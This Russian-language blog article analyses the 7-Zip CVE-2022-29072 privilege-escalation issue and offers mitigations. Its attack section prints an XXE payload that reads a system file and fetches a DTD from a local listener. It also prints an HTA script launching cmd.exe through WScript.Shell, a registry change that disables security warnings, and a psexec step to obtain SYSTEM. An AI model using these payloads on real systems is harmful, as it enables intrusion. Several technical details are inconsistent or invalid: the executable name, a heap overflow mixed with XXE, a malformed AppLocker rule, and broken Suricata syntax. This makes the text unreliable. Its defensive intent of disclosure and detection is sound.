Уязвимость библиотеки 7z.dll файлового архиватора 7-Zip
Уязвимость библиотеки 7z.dll файлового архиватора 7-Zip
Категория: Программы Теги: Уязвимости Опубликовано: 9 июня 2025

Уязвимость BDU:2022-02366 (CVE-2022-29072) 7-Zip

Уязвимость BDU:2022-02366 (CVE-2022-29072) в библиотеке 7z.dll файлового архиватора 7-Zip (версии ≤21.07) представляет собой переполнение буфера в куче (heap overflow). Она позволяет локальному злоумышленнику повысить привилегии до уровня SYSTEM через цепочку эксплуатации некорректной обработки CHM-файлов и ошибок конфигурации.

Анализ уязвимоси

Уровень опасности: 7.8 HIGH
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • AV:L (Вектор атаки): Локальный (L) - требует физического или локального доступа

  • AC:L (Сложность эксплуатации): Низкая (L) - не требует специальных условий

  • PR:L (Уровень привилегий): Низкие привилегии (L) - требуется базовый доступ

  • UI:N (Взаимодействие с пользователем): Не требуется (N)

  • S:U (Область воздействия): Не оказывает влияния на другие системы (U)

  • C:H (Конфиденциальность): Полный компрометация (H)

  • I:H (Целостность): Полная компрометация (H)

  • A:H (Доступность): Полный отказ служб (H)

Условия эксплуатации

  1. Локальный доступ к системе (злоумышленник должен иметь учетную запись)

  2. Установленная уязвимая версия 7-Zip (≤21.07)

  3. Возможность запустить 7-Zip с правами пользователя


Технический механизм уязвимости

Уязвимость CVE-2022-29072 возникает в компоненте обработки справки (Help System):

  1. Heap Overflow в FzGM.exe:

    • При открытии специально сформированного CHM-файла происходит переполнение буфера.

    • Ошибка в функции обработки XML/HTML содержимого в 7z.dll.

  2. Некорректный вызов API:

    • Вместо запуска справки через hh.exe (стандартный обработчик CHM), 7-Zip вызывает HTML Help API напрямую из своего процесса.

    • Это позволяет выполнить произвольный код в контексте родительского процесса (7zFM.exe).

  3. Эскалация привилегий:

    • Через манипуляцию с указателями (base pointer) в памяти процесса.

    • Исполнение шелл-кода через ActiveXObject и WScript.Shell.

    • Финал: запуск psexec -s cmd.exe для получения прав SYSTEM.

Возможные последствия эксплуатации

  1. Полный контроль системы:

    • Компрометация учетных записей администратора.

    • Установка руткитов/бэкдоров.

  2. Чтение конфиденциальных данных:

    • Системные учетные данные (SAM, LSA secrets).

    • Файлы конфигурации приложений.

  3. Атаки на сетевую инфраструктуру:

    • Движение в сторону доменного контроллера.

    • Компрометация Active Directory.

  4. Персистентность:

    • Создание скрытых учетных записей.

    • Установка служб с правами SYSTEM.

Где встречается уязвимая библиотека?

  • Официальный 7-Zip ≤21.07

  • Сторонние приложения, использующие 7z.dll:

    • File managers (Total Commander, FAR Manager)

    • Системы резервного копирования

    • Кастомные архиваторы


Анализ векторов атаки

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.

1. XXE-атака (чтение файлов)

<!-- xxе-basic-7zip/7zip.html -->
<!DOCTYPE flavios [ 
<!ENTITY % zip SYSTEM "C:\Windows\system.ini"> 
<!ENTITY % dtd SYSTEM "http://127.0.0.1:2100/7zip.dtd">
%dtd;]>
  • Механизм: Чтение локальных файлов через External Entity.

  • Ограничение: Требует открытого порта 2100 для приема данных.

2. Выполнение команд через HTA

<!-- command-exec-basic-7zip/7zip.html -->
<HTA:APPLICATION ID="7zipcodeexec">
<script>
    new ActiveXObject('WScript.Shell').Run("cmd.exe");
</script>
  • Механизм: Использование ActiveXObject для запуска команд.

  • Обход защиты: Изменение ключа реестра для отключения предупреждений:

    Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0' -Name '1201' -Value '0'

3. Привилегированная цепочка

  1. Поместить модифицированный 7-zip.chm в Help > Contents.

  2. Использование heap overflow для перенаправления исполнения.

  3. Вызов psexec -s cmd.exe от имени SYSTEM.


Способы защиты

  1. Обновление ПО: Установить 7-Zip версии 22.00+ (исправляет уязвимость).

  2. Удаление CHM-файла:

    Remove-Item "$env:ProgramFiles\7-Zip\7-zip.chm" -Force
  3. Ограничение прав доступа:

    • Установить права Read & Execute для всех пользователей на 7zFM.exe.

    • Запретить запись в директорию 7-Zip.

  4. AppLocker Policy:

    <RuleCollection Type="Appx">
      <FilePublisherRule Action="Deny" Description="Block 7zFM child processes">
        <Conditions>
          <FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="cmd.exe"/>
          <ParentProcess Condition="Is">7zFM.exe</ParentProcess>
        </Conditions>
      </FilePublisherRule>
    </RuleCollection>
  5. Детектирование атак (Suricata правила):

alert tcp any any -> any any (msg:"CVE-2022-29072 Exploit Attempt"; 
content:"|3a 7c 7a 69 70 2e 63 68 6d|";  # :|7zip.chm
content:"ActiveXObject"; 
content:"WScript.Shell"; 
classtype:attempted-admin; sid:202229072; rev:1;)

alert ip any any -> any any (msg:"Suspicious 7-Zip CHM Request"; 
content:"GET"; http_method; 
content:"7zip.dtd"; http_uri; 
threshold: type limit, track by_src, count 1, seconds 60;)
Алексей Черемных Алексей Черемных
48